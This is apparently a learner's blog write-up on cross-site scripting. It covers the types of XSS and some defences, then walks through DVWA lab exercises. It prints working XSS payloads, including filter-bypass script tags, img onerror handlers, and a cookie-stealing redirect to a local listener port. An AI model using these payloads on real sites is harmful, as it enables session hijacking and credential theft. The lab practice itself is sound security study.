Imagine clicking on a simple link that you found while scrolling or an ad that felt captivating but kinda suspicious and without knowing it, your login sessions…gone.
That's Cross-site Scripting (XSS), one of the major vulnerabilities we have today .
Cross-Site scripting is a vulnerability that injects malicious java-script into your browser… goal? to gain access to your login credentials aka cookies. These are small pieces of data that you keep logged in.
It Originated in the 1990s and till today , most if not all popular social networks sites like Facebook, Instagram, Twitter and Youtube are affected by XSS attacks
Unfortunately, developers lack the knowledge of implementing existing XSS alone because of the growing rate of web Technology. As it evolves, some obfuscated payloads like Base64 disguise malicious scripts as harmless encoded strings that applications may decode and execute.
Stealing Session Cookies
The hacker can exploit XSS vulnerable application and can steal cookies of the victim and by using this session, Personal and sensitive information of the victims can be accesed. The severity of damage depends entirely on the user role, if the admin role is taken, the web application suffers it at a high level compared to the other user roles.
Stealing User's Credentials
The attacker steals users login credentials like the username and the password instead of the user cookies. They exploit XSS vulnerable in a web page and insert fake login form asking the user to enter login details aka phishing.
Perform Unauthorized User Actions
The attacker can exploit XSS vulnerable web application and can do unauthorized user actions by using the XMLHttpRequest object
Ecosystem of Cross-Site Scripting(XSS)
Types of XSS.
- Reflected XSS
- Stored XSS
- DOM-Based XSS
Attack Vectors
Cross-Scripting attacks occur when malicious scripts are injected into vulnerable web applications and the common ones are the following;
Injecting malicious code into user input fields on web forms that are displayed on the page.
Exploiting vulnerable web applications that don't properly sanitize user input before displaying it on the page.
Crafting malicious links or iframes that load malicious code into a vulnerable web page.
Hiding malicious code into image tags, video embeds, or other rich content types.
Lets look at the Real-World examples of XSS;
In 2025, ERPNext/Frappe disclosed a stored XSS vulnerability in its Blog module (versions 15.67.0 / 15.72.4). Authenticated users could inject malicious HTML/JavaScript into the content field. The payload executed in the browsers of users viewing the blog post, risking session hijacking and data theft.
This demonstrates that even well-maintained open-source platforms are vulnerable if user-generated HTML is rendered without proper sanitization.
Real- world related vulnerabilities found in a research: Cookies without secure flags- cookies from users could be sent over unsecured connections. Without the HTTP only flag , a script inserted by an attacker can easily get access to users cookies
XSS Protection Disabled- when the protection field is enabled, it automatically stops a webpage from loading if the vulnerability is detected.
Cookie without HTTP only flag- the script can get access to user cookies. Without the HTTP only flag , a script inserted by an attacker can easily get access to user's cookies.
Defensive Techniques
Below are the simple solutions ;
- Input validation — used to prevent XSS attacks. It checks whether the user input data is valid or not.
- Sanitizing User Input Data- It removes unnecessary characters instead of rejecting invalid user data.
- Content Security Policy(CSP)- Allows developers to allow resources from trusted web sources.
- Web Application Firewall (WAF)- They will allow traffic except traffic related to filters mentioned in rules.
LAB SETUP
To practice safely, I used:
- Kali Linux
- DVWA(Damn Vulnerable Web Application)
- LEVELS; Low, Medium, High, Impossible.
STEPS
- START THE KALI LINUX MACHINE
- START APACHE2 & MYSQL USING THE COMMANDS;
- sudo service mysql start
3. OPEN DVWA USING THE LOCAL HOST ; 127.0.0.1/DVWA
I Have done the Lab Practice according to the types of XSS.
Types Of XSS
- Reflected XSS
The injected script is reflected off the web server and its not stored but comes from the URL input and gets reflected back.Example;
If I send you a link: http://Instagram.com/search/….. when I open it , the script runs that's how the attack is via a link.
4. TEST THE NORMAL OUTPUT
Example I used SAM. The Input is taken and sent back as shown:
REAL-WORLD LINKS
- I used the real-world <scripts>that are available in the internet and crafted based on the DVWA vulnerability xss to trigger it: http://127.0.0.1/dvwa/vulnerabilities/xss_r/?name=<script>alert('XSS')</script>
The attacker can craft a malicious URL and send it, Once the victim clicks its over. Lets test for the levels.
LOW LEVEL DIFFICULTY
<script>alert("Please update your phone before its hacked") </script>
FUN-FACT: The script tag is also shown a the page source.
I used another script to get a cookie through the terminal by creating a port server. <script>window.location='http://127.0.0.1:8835/?cookie=' + document.cookie</script>
- By input, this parameter will be sent to cookie and the script will enable me to get the cookie to crack it.
- The port…:8835 i created it on kali terminal using the command;
python -m http.server (Your port)
after this, the directory listing page will be opened meaning we got emm!!!
THAT'S IT!!! FOR THE LOW DIFFICULTY.
Medium level
- - In this level , the developer added a pattern matching to remove script references to disable java-script.
- I ran the alert script I used on low level and it didn't work because of the script tag will be removed;
- I used this instead :
<scr<script>ipt>alert("please update your phone before its hacked")</script>
- - This means it can work with this twisted script
- - <scr<script>window.location='http://127.0.0.1:8835/?cookie=' +document.cookie</script>
THAT'S ITT!!! For medium difficulty.
- c. High Level
- -They have disabled the java-script by removing the pattern script
- -Using the normal injected script will not work since most of them have been disabled.
- - Fortunately I found portswigger xss cheatsheet which contains the scripts you need to get the cookie.
- For me I used this and tried it out, it worked:
- -On the DVWA, I edited it like this;
<style><img title="</style><img src onerror=alert(document.cookie)>"></style>
Were in ;
There's the cookie.
- -THAT'S ITT!!! For High difficulty.
b. IMPOSSIBLE LEVEL
- - PHP function such as "htmlspacialchars()" are used.
- - User tokens are used.( anti-CRSF TOKENS)
- - Harder than the other levels
- - I tried with the other previous scripts it wasn't viewed in the page source.I used this instead :
- <scr<script>ipt>alert("please update your phone before its hacked")</script>
- UNFORTUNATELY IT DIDN'T WORK .
- -THAT'S ITT!!! For THE IMPOSSIBLE.
- THANK YOU.
2. STORED XSS
- The payload is persistent on the webpage saved
- It is saved by the database and later fetched by the website.
- The injected script is permanently stored in the target servers.
STEPS
- Open DVWA stored cross site scripting(xss)
- TEST THE NORMAL OUTPUT
- -Here we have the sign guestbook and clear guestbook, after the input a message text box will appear below.
- LOW LEVEL DIFFICULTY.
- In here the input will not be checked before it being used in the output text.
- - Set a script, in this case ill use the window.location one that I used in the other XSS.
- After the input click on sign guestbook.
- The directory list will be shown:
- - There we can be able to find the cookie on the terminal.
THAT'S ITT FOR LOW DIFFICUTLY!!!
1. Medium level
- Over here the developer added some layer of protection, however its not done at every part of the field.
- Stripped the tags and adds slashes on the message
- I used the normal scripts to figure out which one has been stripped in the function seen at the source code.
- So what happens here is that we need to figure out a way to put script into the command like a trick there are many examples that you can use here;
- <scr<script>ipt>…
- <s c r i p t> , <SCRIPT>, OR the one I used in the low level<scr<script>ipt>…. So that when this script is removed , we are left with the spaced s c r I p t word.
- IT WORKEDD WERE INN!!!
- THAT'S ITT FOR MEDIUM DIFFICUTLY!!!
3. Hard level
- ALWAYS CLEAR THE GUESTBOOK BEFORE PROCEEDING TO THE NEXT LEVEL OR IT WONT WORK!!!
-Over here the developer thinks they have disabled all the patterns of <script>
-Ill be using some of the elements at the portswigger cheat sheet
-After trying all the script tags unfortunately it couldn't work.
- The script tags are all filtered that's why it doesn't work.
- I used ;
<img src=x onError=alert('document.cookie')>
- I decided to use something else another function and it brought me this;
this one was a complexity for me to inject a payload oops!!.
- THAT'S ITT FOR HARD DIFFICUTLY!!! I hope I find a solution to this issue.
Impossible Level.
- This uses "httpspecialchars()" and other special characters to escape any values which would alter the behaviors of the input.
DOM BASED XSS
- Also known as type-0xss
- They modify the DOM environment through the payload into the victims browser by the original used script so that it runs in an unexpected manner.
- This is different from stored and reflected in that the payload is placed on the response page.
Lets look at the levels;
1. Low level
- The requested input will not be checked before an output
- The most common source of DOM XSS is the URL accessed with the window.location
- Go to the DOM XSS page on your DVWA and you'll see something like this;
- Go to your inspect tab and we inject the java-script on select name.
- We will now modify the disabled to enabled and on the value area, inject the java-script:
It will look like this;
-Unfortunately this didn't work so I changed it manually using the URL above and mostly for DOM based they use URL.
I tried to see if it'll work and used the window.location to get the cookie .
- I created a server again port 8835 using the terminal.
- The method I used was like the reflected window.location and I was able to get the cookie
- A directory listing was shown and now when a victim is sent this specific link it will show the cookie at the terminal and after cracking it , we can login with it.
- THAT'S ITT FOR LOW DIFFICUTLY!!!
2. Medium Difficulty.
- Pattern matching has been added to remove any script references .
- I wont be using script on this one
- <img src/onerror=alert(document.cookie)>
- THAT'S ITT FOR MEDIUM DIFFICUTLY!!!
3. High Level
- Over here we must run our code without connecting to the server.
- I got some help from portswigger from the advanced technique pages.
- When I use the regular document.cookie or window.location Ill need to fragment the URL to make it a little vulnerable.ill use a # tag
- THAT'S ITT FOR HIGH DIFFICUTLY!!!
- GET requests will be found at burpsuite which unfortunately I wasnt able to use.
4. Impossible level
-This was using anti-CSRF TOKENS WHICH WAS HARDD TO CRACK IT !!!
-THAT'S ITTT!!!
THANK YOU.